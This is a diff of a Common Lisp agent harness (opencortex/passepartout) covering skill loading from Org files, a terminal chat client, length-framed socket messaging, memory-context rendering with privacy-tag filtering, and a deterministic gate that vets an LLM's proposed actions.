"Iterates through all skill deterministic-gates sorted by priority. Ensures absolute safety of the neural proposal."
(let ((current-action proposed-action)
(skills nil))
(maphash (lambda (name skill) (declare (ignore name)) (when (skill-deterministic-fn skill) (push skill skills))) *skills-registry*)
(setf skills (sort skills #'> :key #'skill-priority))
(dolist (skill skills)
(let ((trigger (skill-trigger-fn skill))
(gate (skill-deterministic-fn skill)))
(when (or (null trigger) (ignore-errors (funcall trigger context)))
(let ((next-action (funcall gate current-action context)))
(let ((original-type (proto-get current-action :type)))
(when (and (listp next-action)
(member (proto-get next-action :type) '(:LOG :EVENT :log :event))
(or (not (member original-type '(:LOG :EVENT :log :event)))
(not (eq next-action current-action))))
(harness-log "DETERMINISTIC: Intercepted by skill '~a'" (skill-name skill))
(return-from deterministic-verify next-action)))
(setf current-action next-action)))))
current-action))
(defun reason-gate (signal)
"Unified Stage: Combines Probabilistic proposals and Deterministic verification."
(let* ((type (proto-get signal :type))
(payload (proto-get signal :payload))
(sensor (proto-get payload :sensor)))
;; Optimization: Only reason about user input or chat messages.
(unless (and (eq type :EVENT) (member sensor '(:user-input :chat-message)))
(return-from reason-gate signal))
(let ((candidate (think signal)))
(if candidate
(setf (getf signal :approved-action) (deterministic-verify candidate signal))
(setf (getf signal :approved-action) nil))
(setf (getf signal :status) :reasoned)
signal)))

79
library/skills.lisp Normal file
View File

@@ -0,0 +1,79 @@
(in-package :opencortex)
(defstruct skill
"Represents a hot-reloadable module of intelligence or actuation."
name
priority
dependencies
trigger-fn
probabilistic-prompt
deterministic-fn)
(defmacro defskill (name &key (priority 0) dependencies trigger probabilistic deterministic)
"Registers a new skill into the global harness registry."
`(setf (gethash (string-downcase (string ',name)) *skills-registry*)
(make-skill :name (string-downcase (string ',name))
:priority ,priority
:dependencies ,dependencies
:trigger-fn ,trigger
:probabilistic-prompt ,probabilistic
:deterministic-fn ,deterministic)))
(defun validate-lisp-syntax (file-path)
"Parses a Lisp file without evaluation to verify syntactic integrity."
(handler-case
(with-open-file (stream file-path)
(loop for form = (read stream nil :eof)
until (eq form :eof))
t)
(error (c)
(harness-log "SYNTAX ERROR in ~a: ~a" file-path c)
nil)))
(defun load-skill-from-org (org-file-path)
"Tangles and loads a single Org-mode skill file."
(let* ((filename (file-name-nondirectory (namestring org-file-path)))
(skill-id (pathname-name org-file-path))
(lisp-file (merge-pathnames (concatenate 'string "library/gen/" skill-id ".lisp")
(asdf:system-source-directory :opencortex))))
(ensure-directories-exist lisp-file)
(harness-log "LOADER: Loading ~a..." skill-id)
;; 1. Tangle the Org file into Lisp
(uiop:run-program (list "emacs" "--batch" "--eval" "(require 'org)"
"--eval" (format nil "(org-babel-tangle-file \"~a\")" org-file-path))
:output t)
;; 2. Verify and Load
(if (validate-lisp-syntax lisp-file)
(progn
(handler-case (load lisp-file)
(error (c) (harness-log "LOADER ERROR in skill '~a': ~a" skill-id c)))
t)
nil)))
(defun topological-sort-skills (skills)
"Calculates the correct loading order based on #+DEPENDS_ON metadata."
;; Placeholder: Currently sorts by priority as a proxy for dependencies.
(sort skills #'> :key #'skill-priority))
(defun initialize-all-skills ()
"Discovers and loads all Org files in the SKILLS_DIR."
(let* ((skills-dir (uiop:getenv "SKILLS_DIR"))
(files (when (and skills-dir (uiop:directory-exists-p skills-dir))
(uiop:directory-files skills-dir "*.org"))))
(dolist (f files)
(load-skill-from-org f))
(harness-log "LOADER: Boot Complete. [Ready: ~a] [Failed: 0]" (hash-table-count *skills-registry*))))
(defun find-triggered-skill (context)
"Iterates through the registry and returns the first skill whose trigger returns true."
(let ((skills nil))
(maphash (lambda (name skill) (declare (ignore name)) (push skill skills)) *skills-registry*)
(setf skills (sort skills #'> :key #'skill-priority))
(dolist (s skills)
(let ((trigger (skill-trigger-fn s)))
(when (and trigger (funcall trigger context))
(return-from find-triggered-skill s))))
nil))

157
library/tui-client.lisp Normal file
View File

@@ -0,0 +1,157 @@
(in-package :cl-user)
(defpackage :opencortex.tui (:use :cl :croatoan) (:export :main))
(in-package :opencortex.tui)
(defvar *daemon-host* "127.0.0.1")
(defvar *daemon-port* 9105)
(defvar *socket* nil)
(defvar *stream* nil)
(defvar *chat-history* nil "A list of strings representing the scrollback buffer.")
(defvar *input-buffer* (make-array 0 :element-type 'character :fill-pointer 0 :adjustable t))
(defvar *is-running* t)
(defvar *status-text* "Connecting...")
(defvar *msg-queue* nil)
(defvar *queue-lock* (bt:make-lock "tui-msg-lock"))
(defun enqueue-msg (msg)
(bt:with-lock-held (*queue-lock*) (push msg *msg-queue*)))
(defun dequeue-msgs ()
(bt:with-lock-held (*queue-lock*) (let ((m (reverse *msg-queue*))) (setf *msg-queue* nil) m)))
(defun clean-keywords (msg)
"Ensures all keys in a plist are uppercase keywords."
(if (listp msg)
(let ((clean nil))
(loop for (k v) on msg by #'cddr
do (push (intern (string k) :keyword) clean)
(push v clean))
(nreverse clean))
msg))
(defun format-payload (payload)
"Extracts human-readable text from a protocol payload, handling nested tool calls."
(let* ((action (getf payload :ACTION))
(text (getf payload :TEXT))
(msg (getf payload :MESSAGE))
(tool (getf payload :TOOL))
(prompt (getf payload :PROMPT))
(args (getf payload :ARGS))
(result (getf payload :RESULT)))
(cond (text text)
(msg msg)
((eq action :MESSAGE) (getf payload :TEXT))
((and tool prompt) (format nil "THOUGHT [~a]: ~a" tool prompt))
((and tool args)
(let ((inner-prompt (or (getf args :PROMPT) (getf args :TEXT))))
(if inner-prompt
(format nil "THOUGHT [~a]: ~a" tool inner-prompt)
(format nil "CALL [~a] (ARGS: ~s)" tool args))))
(result (format nil "RESULT: ~a" result))
(t (format nil "~s" payload)))))
(defun listen-thread ()
(loop while *is-running* do
(handler-case
(when (and *stream* (open-stream-p *stream*))
(let ((raw-msg (opencortex:read-framed-message *stream*)))
(unless (member raw-msg '(:eof :error))
(let* ((msg (clean-keywords raw-msg))
(type (or (getf msg :TYPE) (getf msg :type)))
(payload (or (getf msg :PAYLOAD) (getf msg :payload))))
(cond ((and (listp msg) (eq type :EVENT))
(let ((action (or (getf payload :ACTION) (getf payload :action)))
(text (or (getf payload :TEXT) (getf payload :text) (getf payload :MESSAGE) (getf payload :message))))
(cond ((eq action :handshake) (setf *status-text* "Ready"))
(text (enqueue-msg (format nil "SYSTEM: ~a" text))))))
((and (listp msg) (eq type :STATUS))
(setf *status-text* (format nil "[Scribe: ~a] [Gardener: ~a]"
(or (getf msg :SCRIBE) (getf msg :scribe))
(or (getf msg :GARDENER) (getf msg :gardener)))))
((and (listp msg) (member type '(:REQUEST :RESPONSE :LOG)))
(let ((formatted (format-payload payload)))
(when formatted (enqueue-msg formatted))))
((and (listp msg) (eq type :EVENT) (eq (getf payload :SENSOR) :TOOL-OUTPUT))
(let ((formatted (format-payload payload)))
(when formatted (enqueue-msg formatted))))
(t (harness-log "TUI: Ignored unknown type ~a" type)))))
(when (eq raw-msg :eof) (setf *is-running* nil))
(when (eq raw-msg :error) (setf *status-text* "Protocol Error"))))
(error (c) (setf *status-text* (format nil "Net Error: ~a" c)) (setf *is-running* nil)))
(sleep 0.05)))
(defun main ()
"Primary entry point for the standalone TUI client."
(handler-case
(setf *socket* (usocket:socket-connect *daemon-host* *daemon-port*))
(error (e) (format t "Error connecting: ~a~%" e) (return-from main)))
(setf *stream* (usocket:socket-stream *socket*))
(bt:make-thread #'listen-thread :name "tui-listener")
(unwind-protect
(with-screen (scr :input-echoing nil :input-blocking nil :enable-colors t :cursor-visible t)
(let* ((h (height scr))
(w (width scr))
(chat-win (make-instance 'window :height (- h 2) :width w :position (list 0 0)))
(status-win (make-instance 'window :height 1 :width w :position (list (- h 2) 0)))
(input-win (make-instance 'window :height 1 :width w :position (list (- h 1) 0)))
(last-status nil))
(setf (function-keys-enabled-p input-win) t)
(setf (input-blocking input-win) nil)
(loop while *is-running* do
;; 1. Handle incoming messages from the queue
(let ((new-msgs (dequeue-msgs)))
(when new-msgs
(dolist (msg new-msgs)
(push msg *chat-history*)
;; Maintenance: Cap scrollback to prevent memory bloat
(setf *chat-history* (subseq *chat-history* 0 (min (length *chat-history*) 500))))
(clear chat-win)
(let ((line-num 0))
(dolist (m (reverse (subseq *chat-history* 0 (min (length *chat-history*) (- h 3)))))
(add-string chat-win m :y line-num :x 0)
(incf line-num)))
(refresh chat-win)))
;; 2. Render Status Bar
(unless (equal *status-text* last-status)
(clear status-win)
(add-string status-win *status-text* :attributes '(:reverse))
(refresh status-win)
(setf last-status *status-text*))
;; 3. Handle Keyboard Input
(let* ((event (get-wide-event input-win))
(ch (and event (typep event 'event) (event-key event))))
(when ch
(cond
((or (eq ch #\Newline) (eq ch #\Return))
(let ((cmd (coerce *input-buffer* 'string)))
(setf (fill-pointer *input-buffer*) 0)
(when (> (length cmd) 0)
;; Frame and dispatch the message
(let ((framed (opencortex:frame-message (list :TYPE :EVENT
:META (list :SOURCE :tui :SESSION-ID "default")
:PAYLOAD (list :SENSOR :user-input :TEXT cmd)))))
(format *stream* "~a" framed)
(finish-output *stream*)))
(when (string= cmd "/exit") (setf *is-running* nil))))
((or (eq ch :backspace) (eq ch #\Backspace) (eq ch #\Rubout) (eq ch #\Del))
(when (> (length *input-buffer*) 0)
(decf (fill-pointer *input-buffer*))))
((characterp ch)
(vector-push-extend ch *input-buffer*))))
(clear input-win)
(add-string input-win (concatenate 'string "> " (coerce *input-buffer* 'string)))
(move input-win 0 (+ 2 (length *input-buffer*)))
(refresh input-win))
(sleep 0.02))))
(setf *is-running* nil)
(when *socket* (usocket:socket-close *socket*))))

161
lisp/core-communication.lisp
View File

@@ -1,161 +0,0 @@
(in-package :passepartout)
(defun proto-get (plist key)
"Look up KEY in PLIST with case-insensitive keyword normalization."
(let ((key-upcase (string-upcase (string key))))
(loop for (k v) on plist by #'cddr
when (and (keywordp k)
(string-equal (string k) key-upcase))
do (return v))))
(defvar *actuator-registry* (make-hash-table :test 'equalp)
"Global registry mapping target keywords to their physical actuator functions.")
(defun register-actuator (name fn)
"Registers an actuator function. Actuators receive: (ACTION CONTEXT)."
(let ((key (if (keywordp name) name (intern (string-upcase (string name)) :keyword))))
(setf (gethash key *actuator-registry*) fn)))
(defun protocol-message-sanitize (msg)
"Recursively strips non-serializable objects from a protocol plist."
(if (and msg (listp msg))
(let ((clean nil))
(loop for (k v) on msg by #'cddr
do (unless (member k '(:reply-stream :socket :stream))
(push k clean)
(push (if (listp v) (protocol-message-sanitize v) v) clean)))
(nreverse clean))
msg))
(defun frame-message (msg)
"Serializes a message plist and prefixes it with a 6-character hex length."
(let* ((sanitized (protocol-message-sanitize msg))
(payload (let ((*print-pretty* nil) (*read-eval* nil)) (format nil "~s" sanitized)))
(len (length payload)))
(format nil "~6,'0x~a" len payload)))
(defun read-framed-message (stream)
"Reads a hex-length prefixed S-expression from the stream securely."
(let ((length-buffer (make-string 6)))
(handler-case
(progn
(loop for char = (peek-char nil stream nil :eof)
while (and (not (eq char :eof)) (member char '(#\Space #\Newline #\Tab #\Return)))
do (read-char stream))
(let ((count (read-sequence length-buffer stream)))
(if (< count 6)
:eof
(let ((len (ignore-errors (parse-integer length-buffer :radix 16))))
(if (not len)
:error
(let ((msg-buffer (make-string len)))
(read-sequence msg-buffer stream)
(let ((*read-eval* nil))
(handler-case (read-from-string msg-buffer)
(error () :error)))))))))
(error () :error))))
(defvar *daemon-socket* nil)
(defun client-handle-connection (socket)
"Handles a single TUI/CLI client connection in a dedicated thread."
(let ((stream (usocket:socket-stream socket)))
(handler-case
(progn
(format stream "~a" (frame-message (make-hello-message "0.3.0")))
(finish-output stream)
(loop
(let ((msg (read-framed-message stream)))
(cond
((eq msg :eof) (return))
((eq msg :error) (return))
((eq (getf msg :type) :health-check)
(let ((health-msg (list :type :health-response
:status (or (and (boundp 'passepartout::*system-health*)
(symbol-value 'passepartout::*system-health*))
:unknown)
:checked-p (or (and (boundp 'passepartout::*health-check-ran*)
(symbol-value 'passepartout::*health-check-ran*))
nil))))
(format stream "~a" (frame-message health-msg))
(finish-output stream)))
(t (stimulus-inject msg :stream stream))))))
(error (c) (log-message "CLIENT ERROR: ~a" c)))
(ignore-errors (usocket:socket-close socket))))
(defun start-daemon (&key (port 9105))
"Starts the network listener for TUI/CLI clients."
(setf *daemon-socket* (usocket:socket-listen "127.0.0.1" port :reuse-address t))
(log-message "DAEMON: Listening on localhost:~a" port)
(bt:make-thread
(lambda ()
(loop
(let ((client-socket (usocket:socket-accept *daemon-socket*)))
(when client-socket
(bt:make-thread (lambda () (client-handle-connection client-socket))
:name "passepartout-client-handler")))))
:name "passepartout-server-listener"))
(defun make-hello-message (version)
"Constructs the standard HELLO handshake message."
(list :TYPE :EVENT
:PAYLOAD (list :ACTION :handshake
:VERSION version
:CAPABILITIES '(:AUTH :ORG-AST))))
(in-package :passepartout)
(defun protocol-schema-validate (msg)
"Strict structural validation for incoming protocol messages."
(unless (listp msg) (error "Message must be a plist"))
(let ((type (proto-get msg :type)))
(unless (member type '(:REQUEST :EVENT :RESPONSE :LOG :STATUS))
(error "Invalid message type '~a'" type))
t))
(defun validate-communication-protocol-schema (msg)
"Backward-compatibility alias for protocol-schema-validate."
(protocol-schema-validate msg))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-communication-tests
(:use :cl :fiveam :passepartout)
(:export #:communication-protocol-suite))
(in-package :passepartout-communication-tests)
(def-suite communication-protocol-suite :description "Communication Protocol Suite")
(in-suite communication-protocol-suite)
(test test-framing
"Contract 1: frame-message produces correct hex length prefix."
(let* ((msg '(:type :EVENT :payload (:action :handshake)))
(framed (frame-message msg)))
(is (string= "00002C" (string-upcase (subseq framed 0 6))))))
(test test-framing-round-trip
"Contract 3: frame → read-frame preserves message identity."
(let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui)))
(framed (frame-message msg))
(unframed (read-framed-message (make-string-input-stream framed))))
(is (equal msg unframed))))
(test test-framing-empty-message
"Contract 1: simple messages frame with valid hex length."
(let* ((msg '(:type :ping))
(framed (frame-message msg)))
(is (> (length framed) 5))
(is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6)))))
(test test-read-framed-message
"Contract 2: read-framed-message decodes a framed message correctly."
(let* ((original '(:type :EVENT :payload (:text "decoded" :id 42)))
(framed (frame-message original))
(decoded (read-framed-message (make-string-input-stream framed))))
(is (equal original decoded))))
(test test-read-framed-message-eof
"Contract 2: read-framed-message returns :eof on incomplete stream."
(let ((decoded (read-framed-message (make-string-input-stream "000"))))
(is (eq :eof decoded))))

207
lisp/core-context.lisp
View File

@@ -1,207 +0,0 @@
(in-package :passepartout)
(defun context-query (&key tag todo-state type scope)
"Filters the Memory based on tags, todo states, or types.
Optional SCOPE restricts results to objects with that scope
or :memex (global scope always visible)."
(let ((results nil))
(maphash (lambda (id obj)
(declare (ignore id))
(let* ((attrs (memory-object-attributes obj)) (state (getf attrs :TODO-STATE)) (match t))
;; Scope filter: if scope specified, only match :memex (global) or same scope
(when (and scope (not (eq (memory-object-scope obj) :memex))
(not (eq (memory-object-scope obj) scope)))
(setf match nil))
(when (and type (not (eq (memory-object-type obj) type))) (setf match nil))
(when tag (unless (search tag (format nil "~a" (getf attrs :TAGS)) :test #'string-equal) (setf match nil)))
(when (and todo-state (not (equal state todo-state))) (setf match nil))
(when match (push obj results))))
*memory-store*)
results))
(defun context-active-projects ()
"Returns headlines tagged as 'project' that are not yet marked DONE."
(remove-if (lambda (obj) (equal (getf (memory-object-attributes obj) :TODO-STATE) "DONE"))
(context-query :tag "project" :type :HEADLINE)))
(defun context-recent-tasks ()
"Retrieves recently finished tasks from the store."
(context-query :todo-state "DONE" :type :HEADLINE))
(defun context-skill-list ()
"Provides a sorted overview of currently loaded system capabilities."
(let ((results nil))
(maphash (lambda (name skill)
(declare (ignore name))
(push (list :name (skill-name skill) :priority (skill-priority skill) :dependencies (skill-dependencies skill)) results))
*skill-registry*)
(sort results #'> :key (lambda (x) (getf x :priority)))))
(defun context-skill-source (skill-name)
"Reads the raw literate source of a specific skill for inspection."
(let* ((filename (format nil "~a.org" skill-name))
(data-dir (uiop:ensure-directory-pathname (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") (namestring (merge-pathnames ".local/share/passepartout/" (user-homedir-pathname))))))
(org-dir (merge-pathnames "org/" data-dir))
(full-path (merge-pathnames filename org-dir)))
(if (uiop:file-exists-p full-path) (uiop:read-file-string full-path) nil)))
(defun context-skill-subtree (skill-name heading-name)
"Reads a specific headline subtree from a skill's Org source file.
Returns the content under HEADING-NAME (including children) as a string,
or nil if the heading is not found."
(let ((full-source (context-skill-source skill-name)))
(unless full-source (return-from context-skill-subtree nil))
(if (fboundp 'org-subtree-extract)
(org-subtree-extract full-source heading-name)
;; Fallback: no org-subtree-extract available, return full source
full-source)))
(defun context-logs (&optional limit)
"Retrieves the most recent lines from the harness's internal log."
(let ((log-limit (or limit (ignore-errors (parse-integer (uiop:getenv "CONTEXT_LOG_LIMIT"))) 20)))
(bt:with-lock-held (*log-lock*)
(let ((count (min log-limit (length *log-buffer*))))
(subseq *log-buffer* 0 count)))))
(defun context-get-system-logs (&optional limit)
"Backward-compatibility alias for context-logs."
(context-logs limit))
(defun context-object-render (obj &key (depth 1) (foveal-id nil) semantic-threshold (foveal-vector nil))
"Recursively renders an org-object and its children to an Org string using a Foveal-Peripheral Hybrid model."
(let* ((id (memory-object-id obj))
(is-foveal (equal id foveal-id))
(title (or (getf (memory-object-attributes obj) :TITLE) "Untitled"))
(content (memory-object-content obj))
(children (memory-object-children obj))
(stars (make-string depth :initial-element #\*))
(obj-vector (memory-object-vector obj))
(threshold (or semantic-threshold (ignore-errors (read-from-string (uiop:getenv "CONTEXT_SEMANTIC_THRESHOLD"))) 0.75))
(similarity (if (and foveal-vector obj-vector (not is-foveal))
(vector-cosine-similarity foveal-vector obj-vector)
0.0))
(is-semantically-relevant (>= similarity threshold))
(should-render (or (<= depth 2) is-foveal is-semantically-relevant))
(output ""))
(when should-render
(setf output (format nil "~a ~a~%:PROPERTIES:~%:ID: ~a~%" stars title id))
(when is-semantically-relevant
(setf output (concatenate 'string output (format nil ":SEMANTIC_SCORE: ~,2f~%" similarity))))
(setf output (concatenate 'string output (format nil ":END:~%")))
(when (and content (or is-foveal is-semantically-relevant))
(setf output (concatenate 'string output content (string #\Newline))))
(dolist (child-id children)
(let ((child-obj (memory-object-get child-id)))
(when child-obj
(let ((next-foveal (if is-foveal child-id foveal-id)))
(setf output (concatenate 'string output
(context-object-render child-obj
:depth (1+ depth)
:foveal-id next-foveal
:semantic-threshold threshold
:foveal-vector foveal-vector))))))))
output))
(defun context-path-resolve (path-string)
"Expands environment variables and strips literal quotes from a path string."
(let ((path (if (stringp path-string)
(string-trim '(#\" #\' #\Space) path-string)
path-string)))
(if (and (stringp path) (search "$" path))
(let ((result path))
(ppcre:do-register-groups (var-name) ("\\$([A-Za-z0-9_]+)" path)
(let ((var-val (uiop:getenv var-name)))
(when var-val
(setf result (ppcre:regex-replace (format nil "\\$~a" var-name) result var-val)))))
result)
path)))
(defun context-privacy-filtered-p (obj)
"Returns T if an org-object's :TAGS attribute matches bouncer-privacy-tags."
(let* ((attrs (memory-object-attributes obj))
(tags (getf attrs :TAGS))
(privacy-tags (and (find-package :passepartout.security-dispatcher)
(symbol-value
(find-symbol "BOUNCER-PRIVACY-TAGS"
:passepartout.security-dispatcher)))))
(when (and tags privacy-tags)
(let ((tag-list (if (listp tags) tags (list tags))))
(some (lambda (tag)
(some (lambda (private)
(string-equal (string-trim '(#\:) tag)
(string-trim '(#\:) private)))
privacy-tags))
tag-list)))))
(defun context-awareness-assemble (&optional signal)
"Produces a high-level skeletal outline of the current Memory for the LLM.
Privacy-filtered objects (matching bouncer-privacy-tags) are excluded."
(let* ((foveal-id (or (getf signal :foveal-focus)
(ignore-errors (getf (getf signal :payload) :target-id))))
(all-projects (context-active-projects))
(projects (remove-if #'context-privacy-filtered-p all-projects))
(output (format nil "GLOBAL MEMEX AWARENESS (Peripheral Vision):~%")))
(if projects
(dolist (project projects)
(setf output (concatenate 'string output
(context-object-render project :foveal-id foveal-id))))
(setf output (concatenate 'string output "No active projects found.~%")))
output))
(defun context-assemble-global-awareness ()
(context-awareness-assemble))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-peripheral-vision-tests
(:use :cl :fiveam :passepartout)
(:export #:vision-suite))
(in-package :passepartout-peripheral-vision-tests)
(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.")
(in-suite vision-suite)
(test test-foveal-rendering
"Contract 1: foveal content inline, peripheral content title-only."
(clrhash passepartout::*memory-store*)
(let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project"))
:contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node")
:raw-content "FOVEAL CONTENT" :contents nil)
(:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node")
:raw-content "PERIPHERAL CONTENT" :contents nil)))))
(ingest-ast ast)
(let ((output (context-awareness-assemble (list :foveal-focus "node-foveal"))))
(is (search "FOVEAL CONTENT" output))
(is (search "* Peripheral Node" output))
(is (not (search "PERIPHERAL CONTENT" output))))))
(test test-awareness-budget
"Contract 1: all active projects appear in awareness output."
(clrhash passepartout::*memory-store*)
(ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil))
(ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil))
(let ((output (context-awareness-assemble)))
(is (search "Project 1" output))
(is (search "Project 2" output))))
(test test-context-empty-memory
"Contract 1: empty memory produces clean output without error."
(clrhash passepartout::*memory-store*)
(let ((output (context-awareness-assemble)))
(is (stringp output))
(is (search "MEMEX" output :test #'char-equal))))
(test test-context-no-foveal-focus
"Contract 2: without foveal focus, no inline content appears."
(clrhash passepartout::*memory-store*)
(let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project"))
:contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node")
:raw-content "CHILD CONTENT" :contents nil)))))
(ingest-ast ast)
(let ((output (context-awareness-assemble nil)))
(is (stringp output))
(is (not (search "CHILD CONTENT" output))))))

253
lisp/core-defpackage.lisp
View File

@@ -1,253 +0,0 @@
(defpackage :passepartout
(:use :cl)
(:export
#:frame-message
#:read-framed-message
#:PROTO-GET
#:proto-get
#:*VAULT-MEMORY*
#:make-hello-message
#:validate-communication-protocol-schema
#:start-daemon
#:log-message
#:main
#:diagnostics-run-all
#:diagnostics-main
#:diagnostics-dependencies-check
#:diagnostics-env-check
#:register-provider
#:provider-openai-request
#:provider-config
#:run-setup-wizard
#:ingest-ast
#:memory-object-get
#:*memory-store*
#:memory-object
#:make-memory-object
#:memory-object-id
#:memory-object-type
#:memory-object-attributes
#:memory-object-parent-id
#:memory-object-children
#:memory-object-version
#:memory-object-last-sync
#:memory-object-vector
#:memory-object-content
#:memory-object-hash
#:memory-object-scope
#:snapshot-memory
#:rollback-memory
#:context-get-system-logs
#:context-assemble-global-awareness
#:context-awareness-assemble
#:context-query
#:push-context
#:pop-context
#:current-context
#:current-scope
#:context-stack-depth
#:context-save
#:context-load
#:focus-project
#:focus-session
#:focus-memex
#:unfocus
#:process-signal
#:loop-process
#:perceive-gate
#:loop-gate-perceive
#:act-gate
#:loop-gate-act
#:reason-gate
#:loop-gate-reason
#:cognitive-verify
#:backend-cascade-call
#:register-pre-reason-handler
#:inject-stimulus
#:stimulus-inject
#:hitl-create
#:hitl-approve
#:hitl-deny
#:hitl-handle-message
#:dispatcher-check-secret-path
#:dispatcher-check-shell-safety
#:dispatcher-check-privacy-tags
#:dispatcher-check-network-exfil
#:dispatcher-gate
#:wildcard-match
#:actuator-initialize
#:action-dispatch
#:register-actuator
#:load-skill-from-org
#:skill-initialize-all
#:lisp-syntax-validate
#:defskill
#:*skill-registry*
#:*scope-resolver*
#:*embedding-backend*
#:*embedding-queue*
#:*embedding-provider*
#:embed-queue-object
#:embed-object
#:embed-all-pending
#:embedding-backend-hashing
#:embeddings-compute
#:mark-vector-stale
#:skill
#:skill-name
#:skill-priority
#:skill-dependencies
#:skill-trigger-fn
#:skill-probabilistic-prompt
#:skill-deterministic-fn
#:def-cognitive-tool
#:*cognitive-tool-registry*
#:org-read-file
#:org-write-file
#:org-headline-add
#:org-headline-find-by-id
#:literate-tangle-sync-check
#:archivist-create-note
#:gateway-start
#:org-property-set
#:org-todo-set
#:org-id-generate
#:org-id-format
#:org-modify
#:lisp-validate
#:lisp-structural-check
#:lisp-syntactic-check
#:lisp-semantic-check
#:lisp-eval
#:lisp-format
#:lisp-list-definitions
#:lisp-extract
#:lisp-inject
#:lisp-slurp
#:get-oc-config-dir
#:get-tool-permission
#:set-tool-permission
#:check-tool-permission-gate
#:permission-get
#:permission-set
#:cognitive-tool
#:cognitive-tool-name
#:cognitive-tool-description
#:cognitive-tool-parameters
#:cognitive-tool-guard
#:cognitive-tool-body
#:register-probabilistic-backend
#:*probabilistic-backends*
#:*provider-cascade*
#:vault-get
#:vault-set
#:vault-get-secret
#:vault-set-secret
#:memory-objects-by-attribute
#:gateway-cli-input
#:repl-eval
#:repl-inspect
#:repl-list-vars
#:policy-compliance-check
#:validator-protocol-check
#:archivist-extract-headlines
#:archivist-headline-to-filename
#:literate-extract-lisp-blocks
#:literate-block-balance-check
#:gateway-registry-initialize
#:messaging-link
#:messaging-unlink
#:gateway-configured-p))
(in-package :passepartout)
(defun plist-get (plist key)
"Robust plist accessor — checks both :KEY and :key variants."
(let* ((s (string key))
(up (intern (string-upcase s) :keyword))
(dn (intern (string-downcase s) :keyword)))
(or (getf plist up) (getf plist dn))))
(defvar *log-buffer* nil)
(defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock"))
(defvar *log-limit* 100)
(defvar *skill-registry* (make-hash-table :test 'equal)
"Global registry of all loaded skills.")
(defvar *telemetry-table* (make-hash-table :test 'equal))
(defvar *telemetry-lock* (bordeaux-threads:make-lock "harness-telemetry-lock"))
(defun telemetry-track (skill-name duration status)
"Updates performance metrics for a skill. STATUS is :success or :rejected."
(when skill-name
(bordeaux-threads:with-lock-held (*telemetry-lock*)
(let ((entry (or (gethash skill-name *telemetry-table*) (list :executions 0 :total-time 0 :failures 0))))
(incf (getf entry :executions))
(incf (getf entry :total-time) duration)
(when (eq status :rejected) (incf (getf entry :failures)))
(setf (gethash skill-name *telemetry-table*) entry)))))
(defvar *cognitive-tool-registry* (make-hash-table :test 'equal))
(defstruct cognitive-tool
name
description
parameters
guard
body)
(defmacro def-cognitive-tool (name description parameters &key guard body)
"Registers a cognitive tool. PARAMETERS is a list of plists, one per parameter."
`(setf (gethash (string-downcase (string ',name)) *cognitive-tool-registry*)
(make-cognitive-tool :name (string-downcase (string ',name))
:description ,description
:parameters ',parameters
:guard ,guard
:body ,body)))
(defun cognitive-tool-prompt ()
"Serialises all registered tools into a prompt string for the LLM."
(let ((descriptions nil))
(maphash (lambda (k tool)
(declare (ignore k))
(push (format nil "- ~a: ~a~% Parameters: ~a~%"
(cognitive-tool-name tool)
(cognitive-tool-description tool)
(cognitive-tool-parameters tool))
descriptions))
*cognitive-tool-registry*)
(if descriptions
(format nil "Available tools:~%~a" (apply #'concatenate 'string (sort descriptions #'string<)))
"No tools registered.")))
;; Alias: generate-tool-belt-prompt → cognitive-tool-prompt
(defun generate-tool-belt-prompt ()
(cognitive-tool-prompt))
(defun log-message (msg &rest args)
"Centralized, thread-safe logging for the harness."
(let ((formatted-msg (apply #'format nil msg args)))
(bordeaux-threads:with-lock-held (*log-lock*)
(push formatted-msg *log-buffer*)
(when (> (length *log-buffer*) *log-limit*)
(setq *log-buffer* (subseq *log-buffer* 0 *log-limit*))))
(format t "~a~%" formatted-msg)
(finish-output)))
(setf *debugger-hook* (lambda (condition hook)
"Friendly error handler - shows diagnostic message instead of raw debugger."
(declare (ignore hook))
(format t "~%")
(format t "┌─────────────────────────────────────────────┐~%")
(format t "│ ERROR: ~A~%" (type-of condition))
(format t "│~%")
(format t "│ Run: passepartout diagnostics~%")
(format t "│ For system diagnostics~%")
(format t "└─────────────────────────────────────────────┘~%")
(format t "~%")
(format t "Details: ~A~%" condition)
(format t "Backtrace:~%")
(sb-debug:print-backtrace :count 20 :stream *standard-output*)
(finish-output)
(uiop:quit 1)))

219
lisp/core-loop-act.lisp
View File

@@ -1,219 +0,0 @@
(in-package :passepartout)
(defvar *actuator-default* :cli
"The actuator used when no explicit target is specified.")
(defvar *actuator-silent* '(:cli :system-message :emacs)
"List of actuators that don't generate tool-output feedback.")
(defun actuator-initialize ()
"Register core actuators and load configuration."
(let ((def (uiop:getenv "DEFAULT_ACTUATOR"))
(silent (uiop:getenv "SILENT_ACTUATORS")))
(when def
(setf *actuator-default* (intern (string-upcase def) :keyword)))
(when silent
(setf *actuator-silent*
(mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space) s)) :keyword))
(uiop:split-string silent :separator '(#\,))))))
(register-actuator :system #'action-system-execute)
(register-actuator :tool #'action-tool-execute)
(register-actuator :tui (lambda (action context)
(declare (ignore context))
(let* ((meta (getf action :meta))
(stream (getf meta :reply-stream)))
(when (and stream (open-stream-p stream))
(format stream "~a" (frame-message action))
(finish-output stream))))))
(defun action-dispatch (action context)
"Route an approved action to its registered actuator."
(let ((payload (proto-get action :payload)))
(when (eq (proto-get payload :sensor) :heartbeat)
(return-from action-dispatch nil))
(when (and action (listp action))
(let* ((meta (proto-get context :meta))
(source (proto-get meta :source))
(raw-target (or (proto-get action :target) source *actuator-default*))
